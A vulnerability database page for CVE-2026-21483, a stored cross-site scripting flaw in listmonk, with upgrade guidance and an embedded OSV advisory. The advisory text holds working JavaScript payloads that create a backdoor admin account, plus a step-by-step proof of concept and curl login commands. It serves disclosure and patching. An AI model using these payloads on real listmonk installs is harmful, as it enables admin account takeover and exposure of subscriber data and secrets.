CVE-2026-21483: Github.com/knadh/listmonk Cross-Site Scripting Vulnerability
MODERATECVE-2026-21483 is a MODERATE cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/knadh/listmonk libraries in the Go ecosystem. The issue involves listmonk vulnerable to stored xss leading to admin account takeover. Remediation is available by upgrading affected packages to version 6.0.0, 1.1.1-0.20251231125615-74dc5a01cfbb.
CVE-2026-21483 at a Glance
How to Fix CVE-2026-21483
To remediate this vulnerability, upgrade all affected Github.com/knadh/listmonk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/knadh/listmonk to 6.0.0
Upgrade github.com/knadh/listmonk to 1.1.1-0.20251231125615-74dc5a01cfbb
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/knadh/listmonk
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-21483, inspect your project dependencies for Github.com/knadh/listmonk:
inspect dependencies for github.com/knadh/listmonk
Analyze the terminal output to locate any version of Github.com/knadh/listmonk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.0.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/knadh/listmonk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-21483 Affected Github.com/knadh/listmonk Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/knadh/listmonk
|
Go |
≥ 1.1.1
< 6.0.0
|
6.0.0
|
|
github.com/knadh/listmonk
|
Go |
< 1.1.1-0.20251231125615-74dc5a01cfbb
|
1.1.1-0.20251231125615-74dc5a01cfbb
|
References
Frequently Asked Questions
What is CVE-2026-21483?
Which Github.com/knadh/listmonk versions are affected?
What version fixes CVE-2026-21483?
Is github.com/knadh/listmonk affected?
What CWE is associated with CVE-2026-21483?
How can I check Go dependencies for CVE-2026-21483?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jmr4-p576-v565",
"modified" : "2026-01-02T23:04:15Z",
"published" : "2026-01-02T23:04:15Z",
"aliases" : [ "CVE-2026-21483" ],
"summary" : "listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover",
"details" : "## Security Advisory: Stored XSS Leading to Admin Account Takeover\n\n**Affected Versions:** ≤ 5.1.0 \n**Vulnerability Type:** CWE-79: Stored Cross-Site Scripting \n\n---\n\n## Summary\n\nA lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.\n\nThe attack can be weaponized via the **public archive feature**, where victims simply need to visit a link - no preview click required.\n\n---\n\n## Required Attacker Permissions\n\n```\ncampaigns:manage - Create/edit campaigns\ncampaigns:get - View campaigns \nlists:get_all - Access lists\ntemplates:get - Access templates\n```\n\n**Note:** These are common permissions for content managers who are not full admins.\n\n---\n\n## Attack Vectors\n\n### Vector 1: Raw HTML (Direct Script Tag)\n\n```html\n<script>\nfetch('/api/users', {\n method: 'POST',\n headers: {'Content-Type': 'application/json'},\n credentials: 'include',\n body: '{\"username\":\"backdoor\",\"email\":\"backdoor@evil.com\",\"name\":\"Backdoor\",\"password\":\"Hacked123\",\"type\":\"user\",\"status\":\"enabled\",\"userRoleId\":1,\"user_role_id\":1}'\n});\n</script>\n```\n\n### Vector 2: Go Template `Safe` Function\n\n```\n{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{\"username\":\"backdoor\",\"email\":\"backdoor@evil.com\",\"name\":\"Backdoor\",\"password\":\"Hacked123\",\"type\":\"user\",\"status\":\"enabled\",\"userRoleId\":1,\"user_role_id\":1}'});</script>` | Safe }}\n```\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Campaign Preview Attack\n\n1. Attacker creates campaign with XSS payload\n2. Request is made to super admin: *\"Please review my newsletter draft\"*\n3. Super admin opens campaign and clicks **Preview**\n4. XSS executes → Backdoor admin account created\n5. Attacker logs in with `backdoor` / `Hacked123`\n\n### Scenario 2: Archive Link Attack (No Click Required)\n\n1. Attacker creates campaign with XSS payload\n2. Attacker enables **Archive** for the campaign\n3. Attacker shares archive link: `http://localhost:9000/archive/{uuid}`\n4. Super admin visits the link (no preview click needed!)\n5. XSS executes automatically → Account takeover\n\n---\n\n## Proof of Concept\n\n### Step 1: Create Malicious Campaign\n\nAs lower-privileged user, create campaign with body:\n```html\n<script>\nfetch('/api/users', {\n method: 'POST',\n headers: {'Content-Type': 'application/json'},\n credentials: 'include',\n body: JSON.stringify({\n username: 'backdoor',\n email: 'backdoor@evil.com', \n name: 'Backdoor Admin',\n password: 'Hacked123',\n type: 'user',\n status: 'enabled',\n userRoleId: 1,\n user_role_id: 1\n })\n});\n</script>\n```\n\n### Step 2: Enable Archive (Optional - for link-based attack)\n\n1. Edit campaign settings\n2. Enable \"Archive\"\n3. Copy archive URL: `http://localhost:9000/archive/{campaign-uuid}`\n\n### Step 3: Trigger Execution\n\n**Option A - Preview:**\n- Send campaign to super admin for \"review\"\n- Super admin previews → XSS fires\n\n**Option B - Archive Link:**\n- Share archive URL with super admin\n- Super admin visits link → XSS fires automatically\n\n### Step 4: Verify Takeover\n\n```bash\n# Login as backdoor admin\ncurl -X POST \"http://localhost:9000/admin/login\" \\\n -d \"username=backdoor&password=Hacked123\" \\\n -c cookies.txt -L\n\n# Verify super admin access\ncurl -b cookies.txt \"http://localhost:9000/api/users\"\n```\n\n---\n\n## Evidence Screenshots\n\n> **[Screenshot 1: Lower-privileged user creating malicious campaign]**\n<img width=\"1892\" height=\"781\" alt=\"Screenshot 2025-12-27 170259\" src=\"https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b\" />\n\n> **[Screenshot 2: Super admin previewing campaign]**\n<img width=\"1686\" height=\"709\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7\" />\n\n> **[Screenshot 3: Backdoor user successfully created]**\n<img width=\"1370\" height=\"469\" alt=\"Screenshot 2025-12-27 170413\" src=\"https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2\" />\n\n---\n\n## Impact\n\n| Action | Possible via XSS |\n|--------|-----------------|\n| Create backdoor admin | ✅ Yes |\n| Export all subscribers | ✅ Yes |\n| Modify SMTP settings | ✅ Yes |\n| Delete all campaigns | ✅ Yes |\n| Access API keys/secrets | ✅ Yes |\n\n---\n\n## Affected Components\n\n| Component | XSS Works? | Method |\n|-----------|-----------|--------|\n| Campaign body (Raw HTML) | ✅ Yes | Direct `<script>` tag |\n| Campaign body (Template) | ✅ Yes | `{{ \\` \\` \\| Safe }}` |\n| Template body | ✅ Yes | Both methods |\n| Campaign archive | ✅ Yes | Automatic execution on visit |\n\n---",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/knadh/listmonk"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.1.1"
}, {
"fixed" : "6.0.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/knadh/listmonk"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.1.1-0.20251231125615-74dc5a01cfbb"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/knadh/listmonk/security/advisories/GHSA-jmr4-p576-v565"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-21483"
}, {
"type" : "WEB",
"url" : "https://github.com/knadh/listmonk/commit/74dc5a01cfbb12cf218cb33ddad8410c53e2e915"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/knadh/listmonk"
}, {
"type" : "WEB",
"url" : "https://github.com/knadh/listmonk/releases/tag/v6.0.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-02T23:04:15Z",
"nvd_published_at" : "2026-01-02T21:16:03Z"
}
}